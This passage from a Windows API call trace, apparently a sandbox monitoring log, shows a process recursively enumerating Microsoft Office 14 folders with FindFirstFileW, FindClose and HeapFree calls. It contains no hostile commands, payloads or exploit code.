ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0188.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.676] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.677] GetProcessHeap () returned 0x6a0000 [0188.677] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.704] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.705] GetProcessHeap () returned 0x6a0000 [0188.705] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.710] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.711] GetProcessHeap () returned 0x6a0000 [0188.711] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.711] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0188.712] GetProcessHeap () returned 0x6a0000 [0188.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0188.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0188.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0188.732] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0188.733] GetProcessHeap () returned 0x6a0000 [0188.733] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0188.739] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0188.739] GetProcessHeap () returned 0x6a0000 [0188.739] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0188.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0188.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0188.740] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0188.741] GetProcessHeap () returned 0x6a0000 [0188.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0188.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0189.556] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0189.558] GetProcessHeap () returned 0x6a0000 [0189.558] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0189.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0190.736] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0190.737] GetProcessHeap () returned 0x6a0000 [0190.737] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0190.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0192.144] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0192.146] GetProcessHeap () returned 0x6a0000 [0192.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0192.146] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0192.147] GetProcessHeap () returned 0x6a0000 [0192.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0192.147] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0192.147] GetProcessHeap () returned 0x6a0000 [0192.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0192.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0192.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0193.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0193.606] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0193.606] GetProcessHeap () returned 0x6a0000 [0193.606] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0193.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0193.840] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0193.841] GetProcessHeap () returned 0x6a0000 [0193.841] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0194.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0194.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722748 [0194.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.371] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.371] GetProcessHeap () returned 0x6a0000 [0194.371] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.372] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.372] GetProcessHeap () returned 0x6a0000 [0194.372] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.374] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.374] GetProcessHeap () returned 0x6a0000 [0194.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.375] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.375] GetProcessHeap () returned 0x6a0000 [0194.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.376] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.376] GetProcessHeap () returned 0x6a0000 [0194.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.377] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.377] GetProcessHeap () returned 0x6a0000 [0194.378] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.379] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.379] GetProcessHeap () returned 0x6a0000 [0194.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.380] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.380] GetProcessHeap () returned 0x6a0000 [0194.380] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.381] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.385] GetProcessHeap () returned 0x6a0000 [0194.385] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.387] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.387] GetProcessHeap () returned 0x6a0000 [0194.387] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.388] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.388] GetProcessHeap () returned 0x6a0000 [0194.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.392] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.393] GetProcessHeap () returned 0x6a0000 [0194.393] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.396] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.396] GetProcessHeap () returned 0x6a0000 [0194.396] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, 